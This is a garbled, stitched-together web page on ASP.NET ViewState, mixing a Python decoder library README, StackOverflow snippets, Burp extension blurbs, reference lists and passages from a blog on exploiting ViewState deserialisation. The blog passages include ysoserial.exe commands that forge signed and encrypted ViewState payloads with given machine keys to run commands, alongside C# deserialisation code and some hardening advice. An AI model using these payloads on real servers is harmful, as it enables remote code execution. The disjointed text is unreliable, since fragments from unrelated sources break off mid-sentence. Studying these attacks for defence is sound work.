3. A small Python 3.5+ library for decoding ASP.NET viewstate. The command line usage can also accept raw bytes with the -r flag: Viewstate HMAC signatures are also supported. Currently in the latest version of .NET Framework, the default validation algorithm is HMACSHA256 and the default decryption algorithm is AES. ViewState has been hidden in Burp suite since v2020.3. What's the difference between Pro and Enterprise Edition? this research and creation of the ViewState YSoSerial.Net plugin. A small Python 3.5+ library for decoding ASP.NET viewstate. ASP.NET View State Decoder. 2023 Python Software Foundation Therefore, it is The command line usage can also accept raw bytes with the -r flag: Viewstate HMAC signatures are also supported. has been disabled or by knowing the: In order to prevent manipulation attacks, .NET Framework can sign and encrypt the ViewState that has been serialised using the LosFormatter class [1]. Isn't it just a base 64 encoded version of the serialized data? This might result in bypassing the anti-CSRF protection Framework version 4.0 or below in order to sign a serialised object without of viewstate MAC failed). It is usually saved on a hidden form field: Decoding the view state can be useful in penetration testing on ASP.NET applications, as well as revealing more information that can be used to efficiently scrape web pages. scanners should use a payload that causes a short delay on the server-side. Scale dynamic scanning. Browser Headers Viewer, Knowledge Base Learn more. It is automatically maintained across posts by the ASP.NET framework.When a page is sent back to the client, the changes in the properties of the page and its controls are determined, and stored in the value of a hidden input field named _VIEWSTATE. The Viewstate decoder accepts Base64 encoded .NET viewstate data and returns the decoded output in the form of plain Python objects. whether or not the ViewState has been encrypted by finding the __VIEWSTATEENCRYPTED A small Python 3.5+ library for decoding ASP.NET viewstate. --path and --apppath arguments should be as follows: If we did not know that app2 was an application name, we MAC validation errors with the following setting even when the ViewStateUserKey URLENCODED data is okay ''' # URL Encoding: urldelim = "%" # Check to see if the viewstate data has urlencoded characters in it and remove: if re. This extension is a tool that allows you to display ViewState of ASP.NET. No key is needed. Now that we have covered the basics of ViewState and its working, lets shift our focus towards the insecure deserialization of the ViewState and how this can lead to remote code execution. Code is below: You can ignore the URL field and simply paste the viewstate into the Viewstate string box. A tag already exists with the provided branch name. This one worked for me in Firefox even when other viewstate parsers did not. 1 branch 0 tags. How and when viewstate encoding or hashing is done in asp.net Do new devs get fired if they can't solve a certain bug? I would like to thank Subodh Pandey for contributing to this blog post and the study without which I could not have had an in-depth insight on this topic.. Before getting started with ViewState deserialization, let's go through some key terms associated with ViewState and its exploitation. Download FREE Trial PDF JSF ViewState upside-down - Synacktiv GitHub - yuvadm/viewstate: ASP.NET View State Decoder parameter could be encrypted whilst the MAC validation feature was disabled. Please try enabling it if you encounter problems. viewstate decoder github In the past, I've used this website to decode it: http://www.motobit.com/util/base64-decoder-encoder.asp. . Blacklist3r is used to identify the use of pre-shared (pre-published) keys in the application for encryption and decryption of forms authentication cookie, ViewState, etc. It was then possible to use the YSoSerial.Net project [12] to create the LosFormatter class payloads. The Viewstate decoder accepts Base64 encoded .NET viewstate data and returns the decoded output in the form of plain Python objects. gadget can be changed to: Knowledge of used validation and exploiting .NET Framework 4.0 and below (tested on v2.0 through v4.0) even when By clicking Accept all cookies, you agree Stack Exchange can store cookies on your device and disclose information in accordance with our Cookie Policy. Does ZnSO4 + H2 at high pressure reverses to Zn + H2SO4? Failed to load latest commit information. http://deadliestwebattacks.com/2011/05/29/javascript-viewstate-parser/, http://deadliestwebattacks.com/2011/05/13/a-spirited-peek-into-viewstate-part-i/, http://deadliestwebattacks.com/2011/05/25/a-spirited-peek-into-viewstate-part-ii/, Here's another decoder that works well as of 2014: http://viewstatedecoder.azurewebsites.net/. [1] https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.losformatter, [2] https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.objectstateformatter, [3] https://devblogs.microsoft.com/aspnet/farewell-enableviewstatemac/, [4] https://www.owasp.org/index.php/Anti_CSRF_Tokens_ASP.NET, [5] https://docs.microsoft.com/en-us/previous-versions/aspnet/hh975440(v=vs.120), [6] https://github.com/Microsoft/referencesource/blob/master/System.Web/Util/AppSettings.cs#L59, [7] https://github.com/Microsoft/referencesource/blob/master/System.Web/UI/Page.cs#L4034, [8] https://www.troyhunt.com/understanding-and-testing-for-view/, [9] https://portswigger.net/kb/issues/00400600_asp-net-viewstate-without-mac-enabled, [10] https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/viewstate-mac-disabled/, [11] https://www.acunetix.com/vulnerabilities/web/view-state-mac-disabled/, [12] https://github.com/pwntester/ysoserial.net/, [13] https://docs.microsoft.com/en-us/dotnet/api/system.web.configuration.machinekeysection, [14] https://docs.microsoft.com/en-us/dotnet/api/system.web.configuration.machinekeysection.compatibilitymode, [15] https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.control.templatesourcedirectory, [16] https://docs.microsoft.com/en-us/previous-versions/dotnet/articles/ms972969(v=msdn.10), [17] https://software-security.sans.org/developer-how-to/developer-guide-csrf, [18] https://github.com/pwntester/ysoserial.net/tree/master/ysoserial/Plugins/ViewStatePlugin.cs, [19] https://github.com/pwntester/ysoserial.net/tree/v2/ysoserial/Plugins/ViewStatePlugin.cs, [20] https://docs.microsoft.com/en-us/iis/get-started/planning-your-iis-architecture/understanding-sites-applications-and-virtual-directories-on-iis, [21] https://github.com/nccgroup/VulnerableDotNetHTTPRemoting/tree/master/ysoserial.net-v2, [22] https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/march/finding-and-exploiting-.net-remoting-over-http-using-deserialisation/, [23] https://www.slideshare.net/ASF-WS/asfws-2014-slides-why-net-needs-macs-and-other-serialization-talesv20, [24] https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_Slides.pdf, [25] https://docs.microsoft.com/en-us/security-updates/SecurityAdvisories/2013/2905247, [26] https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, [27] https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization, [28] https://speakerdeck.com/pwntester/dot-net-serialization-detecting-and-defending-vulnerable-endpoints?slide=54, [29] https://vimeopro.com/user18478112/canvas/video/260982761, [30] https://web.archive.org/web/20190803165724/https://pwnies.com/nominations/, Danger of Stealing Auto Generated .NET Machine Keys, IIS Application vs. Folder Detection During Blackbox Testing, https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.losformatter, https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.objectstateformatter, https://devblogs.microsoft.com/aspnet/farewell-enableviewstatemac/, https://www.owasp.org/index.php/Anti_CSRF_Tokens_ASP.NET, https://docs.microsoft.com/en-us/previous-versions/aspnet/hh975440(v=vs.120), https://github.com/Microsoft/referencesource/blob/master/System.Web/Util/AppSettings.cs#L59, https://github.com/Microsoft/referencesource/blob/master/System.Web/UI/Page.cs#L4034, https://www.troyhunt.com/understanding-and-testing-for-view/, https://portswigger.net/kb/issues/00400600_asp-net-viewstate-without-mac-enabled, https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/viewstate-mac-disabled/, https://www.acunetix.com/vulnerabilities/web/view-state-mac-disabled/, https://github.com/pwntester/ysoserial.net/, https://docs.microsoft.com/en-us/dotnet/api/system.web.configuration.machinekeysection, https://docs.microsoft.com/en-us/dotnet/api/system.web.configuration.machinekeysection.compatibilitymode, https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.control.templatesourcedirectory, https://docs.microsoft.com/en-us/previous-versions/dotnet/articles/ms972969(v=msdn.10), https://software-security.sans.org/developer-how-to/developer-guide-csrf, https://github.com/pwntester/ysoserial.net/tree/master/ysoserial/Plugins/ViewStatePlugin.cs, https://github.com/pwntester/ysoserial.net/tree/v2/ysoserial/Plugins/ViewStatePlugin.cs, https://docs.microsoft.com/en-us/iis/get-started/planning-your-iis-architecture/understanding-sites-applications-and-virtual-directories-on-iis, https://github.com/nccgroup/VulnerableDotNetHTTPRemoting/tree/master/ysoserial.net-v2, https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/march/finding-and-exploiting-.net-remoting-over-http-using-deserialisation/, https://www.slideshare.net/ASF-WS/asfws-2014-slides-why-net-needs-macs-and-other-serialization-talesv20, https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_Slides.pdf, https://docs.microsoft.com/en-us/security-updates/SecurityAdvisories/2013/2905247, https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization, https://speakerdeck.com/pwntester/dot-net-serialization-detecting-and-defending-vulnerable-endpoints?slide=54, https://vimeopro.com/user18478112/canvas/video/260982761, https://web.archive.org/web/20190803165724/https://pwnies.com/nominations/. The enterprise-enabled dynamic web vulnerability scanner. For instance, the xaml_payload variable in the TextFormattingRunProperties If the ViewState parameter is only used on one machine, ensure Would it be possible to re-enable this feature in a future release? Quoting from my previous answer: If you are writing the control for your own consumption and you only need to read from ViewState, you could do so, but I wouldn't . So encoding and hashing is done before the request reaches server. Encrypt any sensitive parameters such as the. Upgrade the ASP.NET framework so that MAC validation can not be disabled.2. GitHub - 0xacb/viewgen: Viewgen is a ViewState tool capable of section with arbitrary keys and algorithms to stop other attackers! For example, Encode as or Smart decode. This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository. This can be observed below: As mentioned in the starting of this article, the ViewStateUserKey property can be used to defend against a CSRF attack. Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner. parameter. It supports the different viewstate data formats and can extract viewstate data direct from web pages. First, it can be used as an imported library with the following typical use case: It is also possible to feed the raw bytes directly: Alternatively, the library can be used via command line by directly executing the module: Which will pretty-print the decoded data structure. Expand the selected tree. The --isdebug If the __VIEWSTATE parameter exists, you can select the ViewState from the "select extension" button in the Message Tab of History. machineKey ASP.NET View State Decoder. The links to the article are appreciated too. That wasn't true when I wrote my comment 16 months ago, but it is now. Are you sure you want to create this branch? Is it possible to rotate a window 90 degrees if it has the same length and width? http://mutantzombie.github.com/JavaScript-ViewState-Parser/, https://github.com/mutantzombie/JavaScript-ViewState-Parser/, How Intuit democratizes AI development across teams through reusability. length that limits the type of gadgets that can be used here. First, it can be used as an imported library with the following typical use case: It is also possible to feed the raw bytes directly: Alternatively, the library can be used via command line by directly executing the module: Which will pretty-print the decoded data structure. at the time of writing this blog post. This was identified by reviewing the .NET Framework source code [6]. Online Viewstate Viewer made by Lachlan Keown: http://lachlankeown.blogspot.com/2008/05/online-viewstate-viewer-decoder.html. How i found a 1500$ worth Deserialization vulnerability property to False does not stop this attack README.md. 4.5 or above, Performing cross-site scripting (XSS) attacks, The application uses .NET The only limiting factor is the URL Thought I was going crazy or that our in-house CMS was doing weird things. The setting the viewStateEncryptionMode property to Always. Are you sure you want to create this branch? [collapse] Button ASP.NET View State Decoder | LaptrinhX Since there is no publically available specification of how .NET viewstate is encoded, reverse engineering was based on prior work: Any official documents would be gladly accepted to help improve the parsing logic. This means that knowing the validation key and its algorithm is enough to exploit a website. a BinaryFormatter serializes and deserializes an object, or an entire graph of connected objects, in binary format. If we notice the POST request above, we can see that there isnt a _VIEWSTATEGENERATOR parameter in the request. View the ViewState, Session & Cookies View state is part of the ASP Web Forms framework. Is there any tool which allows easy viewing of variables stored in viewstate in a nice formatted manner? Or,Encrypt the contents of machine key so that a compromised web.config file wont reveal the values present inside the machineKey paramter. ViewState Editor - PortSwigger Information on ordering, pricing, and more. So at the time, when the request is received by the server, the view state value is already encoded or hashed. Even if the ViewState is URLEncoded, the ViewState will be output after URLDecode. If so, how close was it? of course, you are correct. https://github.com/mutantzombie/JavaScript-ViewState-Parser, http://viewstatedecoder.azurewebsites.net/, https://referencesource.microsoft.com/#System.Web/UI/ObjectStateFormatter.cs,45, https://msdn.microsoft.com/en-us/library/ms972976.aspx. have been stolen. in the web.config file. Free, lightweight web application security scanning for CI/CD. This patch was extended in September 2014 [3] to cover all the versions of .NET Framework. Some features may not work without JavaScript. Ensure that the MAC validation is enabled. Is it suspicious or odd to stand by the gate of a GA airport watching the planes? extract_java_server_faces_viewstate.py GitHub - Gist Click [Next], confirm that no error is occurring, and close the dialog with [Close]. In case there are any remaining bytes after parsing, they are assumed to be HMAC signatures, with the types estimated according to signature length. parameter. Exploiting a deserialisation issue via __EVENTVALIDATION is more restricted and requires: Value You are correct. Is it possible to decode EventValidation and ViewState in ASP.NET? With the help of islegacy and isdebug switch of the ysoserial payload generator, we can try to guess the values of path and apppath. It is normally possible to run code on a web server where a This project is made for educational and ethical testing purposes only. However, when the ViewStateUserKey CASE 3: Target framework 4.0 (ViewState Mac is enabled): We can enable the ViewState MAC by making changes either in the specific page or the overall application. Overview. Install $ pip install viewstate Usage. string serialized_data = File.ReadAllText(@C:\Windows\Temp\serialnet.txt); //Base64 decode the serialized data before deserialization, //Deserialization using ObjectStateFormatter starts here, HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}, <%@ Page Language=C# AutoEventWireup=true CodeFile=hello.aspx.cs Inherits=hello %>, public partial class hello : System.Web.UI.Page, ysoserial.exe -o base64 -g TypeConfuseDelegate, <%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello", <%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" %>, ysoserial.exe -p ViewState -g TypeConfuseDelegate -c echo 123 > c:\windows\temp\test.txt --path=/site/test.aspx/ --apppath=/directory decryptionalg=AES --decryptionkey=EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" --validationalg=SHA1" --validationkey=B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3", <%@ Page Language="C#" AutoEventWireup="true" CodeFile="test.aspx.cs" Inherits="test" %>, public partial class test : System.Web.UI.Page, ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --path="/test.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" --validationalg="SHA1" --validationkey="B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3", ysoserial.net-master\ysoserial.net-master\ysoserial\bin\Debug>ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --path="/test.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" --validationalg="SHA1" --validationkey="B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3", https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/, https://github.com/pwntester/ysoserial.net, https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/, https://www.tutorialspoint.com/asp.net/asp.net_managing_state.htm, https://odetocode.com/blogs/scott/archive/2006/03/20/asp-net-event-validation-and-invalid-callback-or-postback-argument.aspx, https://blogs.objectsharp.com/post/2010/04/08/ViewStateUserKey-ValidateAntiForgeryToken-and-the-Security-Development-Lifecycle.aspx. Viewstate variable lost on user control loaded dynamically, ASP.NET Viewstate Optimization/Analyzing Tools, Odd Behavior with Viewstate on Dynamically Loaded Control. Making statements based on opinion; back them up with references or personal experience. Value of the ViewStateUserKey property (when it is not null) is also used during the ViewState signing process. Is it possible to create a concave light? exists in the request with invalid data, the application does not deserialise This parameter is deserialised on the server-side to retrieve the data. the ViewStateEncryptionMode I looked for a viewstate decoder, found Fridz Onion's ViewState Decoder but it asks for the url of a page to get its viewstate. unquote (data). Parse the viewstate data by decoding and unpacking it. To subscribe to this RSS feed, copy and paste this URL into your RSS reader. value is known: The ViewStateUserKey parameter can also be provided as an Lets create our payload using ysoserial.net and provide the validation key and algorithm as parameters along with app path and path. There are two main ways to use this package. Regenerate any disclosed / previously compromised validation / decryption keys. Blacklist3r is used to identify the use of pre-shared (pre-published) keys in the application for encryption and decryption of forms authentication cookie, ViewState, etc. Although this is not ideal, it was tested on an outdated Windows 2003 box that had the following packages installed which is very common: It is also possible to send the __VIEWSTATE It seems that he had used James Forshaws research [24] to forge his exploit and reported it to Microsoft in September 2012. A tag already exists with the provided branch name. Viewgen is a ViewState tool capable of generating both signed and encrypted payloads with leaked validation keys, viewgen is a ViewState tool capable of generating both signed and encrypted payloads with leaked validation keys or web.config files, pip3 install --user --upgrade -r requirements.txt or ./install.sh, docker build -t viewgen . main. a 10-second delay: The above code could be executed using the ActivitySurrogateSelector gadget of YSoSerial.Net. A tag already exists with the provided branch name. Fixed some issues with ViewState in the existing Burp suite. Would be good if the tool could also show cookies and Session variables. yuvadm/viewstate. Method: Msf::Exploit::ViewState#decode_viewstate 2ASP.NET . Vulnerability Summary for the Week of July 3, 2017 | CISA Catch critical bugs; ship more secure software, more quickly. In the above screenshot, the second request has provided us the correct value for the __VIEWSTATEGENERATOR parameter. Is it possible to decode EventValidation and ViewState in ASP.NET button on the Message Tab of the History to select the ViewState. __gv + ClientID + __hidden, Validation key and its Please note that JavaScript must be enabled to display rating and popularity information. kandi has reviewed viewstate and discovered the below as its top functions. Contact Us, Latest Changes

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